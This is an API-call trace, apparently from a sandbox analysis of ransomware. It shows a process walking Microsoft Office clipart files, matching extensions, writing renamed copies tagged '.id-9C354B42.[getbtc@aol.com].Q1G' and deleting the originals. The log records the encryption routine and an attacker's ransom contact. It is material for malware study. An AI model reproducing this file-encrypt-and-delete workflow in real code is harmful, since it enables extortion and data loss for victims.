[0055.826] lstrlenW (lpString=".7z") returned 3 [0055.827] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0055.827] lstrlenW (lpString=".dbf") returned 4 [0055.827] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0055.827] lstrlenW (lpString=".1cd") returned 4 [0055.827] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0055.827] lstrlenW (lpString=".jpg") returned 4 [0055.827] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.827] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0055.827] lstrlenW (lpString="AN01218_.WMF") returned 12 [0055.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.827] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=3012) returned 1 [0055.827] CloseHandle (hObject=0x214) returned 1 [0055.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf")) returned 0x20 [0055.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0055.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.828] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.828] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0055.828] GetLastError () returned 0x0 [0055.828] ReadFile (in: hFile=0x214, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0xbc4, lpOverlapped=0x0) returned 1 [0055.829] WriteFile (in: hFile=0x230, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0055.830] ReadFile (in: hFile=0x214, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.830] WriteFile (in: hFile=0x230, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.830] SetEndOfFile (hFile=0x230) returned 1 [0055.830] CloseHandle (hObject=0x230) returned 1 [0055.831] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.831] SetEndOfFile (hFile=0x214) returned 1 [0055.831] CloseHandle (hObject=0x214) returned 1 [0055.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.832] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf")) returned 1 [0055.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0055.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0055.832] lstrlenW (lpString=".doc") returned 4 [0055.832] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.832] lstrlenW (lpString=".docx") returned 5 [0055.832] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.832] lstrlenW (lpString=".pdf") returned 4 [0055.832] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.832] lstrlenW (lpString=".xls") returned 4 [0055.832] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.832] lstrlenW (lpString=".xlsx") returned 5 [0055.832] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.832] lstrlenW (lpString=".ppt") returned 4 [0055.832] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0055.832] lstrlenW (lpString=".zip") returned 4 [0055.832] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.832] lstrlenW (lpString=".rar") returned 4 [0055.832] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.832] lstrlenW (lpString=".bz2") returned 4 [0055.832] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.833] lstrlenW (lpString=".7z") returned 3 [0055.833] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0055.833] lstrlenW (lpString=".dbf") returned 4 [0055.833] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0055.833] lstrlenW (lpString=".1cd") returned 4 [0055.833] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0055.833] lstrlenW (lpString=".jpg") returned 4 [0055.833] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0055.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0055.833] lstrlenW (lpString=".doc") returned 4 [0055.833] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.833] lstrlenW (lpString=".docx") returned 5 [0055.833] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.833] lstrlenW (lpString=".pdf") returned 4 [0055.833] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.833] lstrlenW (lpString=".xls") returned 4 [0055.833] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.833] lstrlenW (lpString=".xlsx") returned 5 [0055.833] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.833] lstrlenW (lpString=".ppt") returned 4 [0055.833] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0055.833] lstrlenW (lpString=".zip") returned 4 [0055.833] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.833] lstrlenW (lpString=".rar") returned 4 [0055.833] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.833] lstrlenW (lpString=".bz2") returned 4 [0055.833] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.833] lstrlenW (lpString=".7z") returned 3 [0055.833] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0055.834] lstrlenW (lpString=".dbf") returned 4 [0055.834] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0055.834] lstrlenW (lpString=".1cd") returned 4 [0055.834] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0055.834] lstrlenW (lpString=".jpg") returned 4 [0055.834] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.834] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0055.834] lstrlenW (lpString="AN01251_.WMF") returned 12 [0055.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.834] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=2756) returned 1 [0055.834] CloseHandle (hObject=0x214) returned 1 [0055.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf")) returned 0x20 [0055.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0055.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.834] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.835] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0055.835] GetLastError () returned 0x0 [0055.835] ReadFile (in: hFile=0x214, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0xac4, lpOverlapped=0x0) returned 1 [0055.836] WriteFile (in: hFile=0x230, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xad0, lpOverlapped=0x0) returned 1 [0055.837] ReadFile (in: hFile=0x214, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.837] WriteFile (in: hFile=0x230, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.837] SetEndOfFile (hFile=0x230) returned 1 [0055.837] CloseHandle (hObject=0x230) returned 1 [0055.838] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.838] SetEndOfFile (hFile=0x214) returned 1 [0055.838] CloseHandle (hObject=0x214) returned 1 [0055.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.839] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf")) returned 1 [0055.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0055.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0055.839] lstrlenW (lpString=".doc") returned 4 [0055.839] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.839] lstrlenW (lpString=".docx") returned 5 [0055.839] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.839] lstrlenW (lpString=".pdf") returned 4 [0055.839] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.839] lstrlenW (lpString=".xls") returned 4 [0055.839] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.839] lstrlenW (lpString=".xlsx") returned 5 [0055.839] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.839] lstrlenW (lpString=".ppt") returned 4 [0055.839] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0055.839] lstrlenW (lpString=".zip") returned 4 [0055.839] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.839] lstrlenW (lpString=".rar") returned 4 [0055.839] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.839] lstrlenW (lpString=".bz2") returned 4 [0055.839] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.839] lstrlenW (lpString=".7z") returned 3 [0055.839] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0055.839] lstrlenW (lpString=".dbf") returned 4 [0055.839] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0055.839] lstrlenW (lpString=".1cd") returned 4 [0055.839] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0055.840] lstrlenW (lpString=".jpg") returned 4 [0055.840] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0055.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0055.840] lstrlenW (lpString=".doc") returned 4 [0055.840] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.840] lstrlenW (lpString=".docx") returned 5 [0055.840] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.840] lstrlenW (lpString=".pdf") returned 4 [0055.840] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.840] lstrlenW (lpString=".xls") returned 4 [0055.840] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.840] lstrlenW (lpString=".xlsx") returned 5 [0055.840] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.840] lstrlenW (lpString=".ppt") returned 4 [0055.840] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0055.840] lstrlenW (lpString=".zip") returned 4 [0055.840] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.840] lstrlenW (lpString=".rar") returned 4 [0055.840] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.840] lstrlenW (lpString=".bz2") returned 4 [0055.840] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.840] lstrlenW (lpString=".7z") returned 3 [0055.840] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0055.840] lstrlenW (lpString=".dbf") returned 4 [0055.840] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0055.840] lstrlenW (lpString=".1cd") returned 4 [0055.840] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0055.840] lstrlenW (lpString=".jpg") returned 4 [0055.840] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.841] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0055.841] lstrlenW (lpString="AN01545_.WMF") returned 12 [0055.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.841] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=7372) returned 1 [0055.841] CloseHandle (hObject=0x214) returned 1 [0055.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf")) returned 0x20 [0055.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0055.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.841] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.841] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0055.842] GetLastError () returned 0x0 [0055.842] ReadFile (in: hFile=0x214, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x1ccc, lpOverlapped=0x0) returned 1 [0056.471] WriteFile (in: hFile=0x230, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x1cd0, lpOverlapped=0x0) returned 1 [0056.475] ReadFile (in: hFile=0x214, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.477] WriteFile (in: hFile=0x230, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.478] SetEndOfFile (hFile=0x230) returned 1 [0056.844] CloseHandle (hObject=0x230) returned 1 [0056.844] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.844] SetEndOfFile (hFile=0x214) returned 1 [0056.853] CloseHandle (hObject=0x214) returned 1 [0056.853] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0056.877] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf")) returned 1 [0056.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0056.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0056.877] lstrlenW (lpString=".doc") returned 4 [0056.877] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.877] lstrlenW (lpString=".docx") returned 5 [0056.877] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.877] lstrlenW (lpString=".pdf") returned 4 [0056.877] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.877] lstrlenW (lpString=".xls") returned 4 [0056.877] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.877] lstrlenW (lpString=".xlsx") returned 5 [0056.877] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.877] lstrlenW (lpString=".ppt") returned 4 [0056.877] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0056.877] lstrlenW (lpString=".zip") returned 4 [0056.877] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.877] lstrlenW (lpString=".rar") returned 4 [0056.877] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.877] lstrlenW (lpString=".bz2") returned 4 [0056.877] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.878] lstrlenW (lpString=".7z") returned 3 [0056.878] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0056.878] lstrlenW (lpString=".dbf") returned 4 [0056.878] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0056.878] lstrlenW (lpString=".1cd") returned 4 [0056.878] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0056.878] lstrlenW (lpString=".jpg") returned 4 [0056.878] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0056.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0056.878] lstrlenW (lpString=".doc") returned 4 [0056.878] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.878] lstrlenW (lpString=".docx") returned 5 [0056.878] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.878] lstrlenW (lpString=".pdf") returned 4 [0056.878] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.878] lstrlenW (lpString=".xls") returned 4 [0056.878] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.878] lstrlenW (lpString=".xlsx") returned 5 [0056.878] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.878] lstrlenW (lpString=".ppt") returned 4 [0056.878] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0056.878] lstrlenW (lpString=".zip") returned 4 [0056.878] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.878] lstrlenW (lpString=".rar") returned 4 [0056.878] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.878] lstrlenW (lpString=".bz2") returned 4 [0056.878] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.878] lstrlenW (lpString=".7z") returned 3 [0056.878] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0056.879] lstrlenW (lpString=".dbf") returned 4 [0056.879] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0056.879] lstrlenW (lpString=".1cd") returned 4 [0056.879] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0056.879] lstrlenW (lpString=".jpg") returned 4 [0056.879] lstrcmpiW 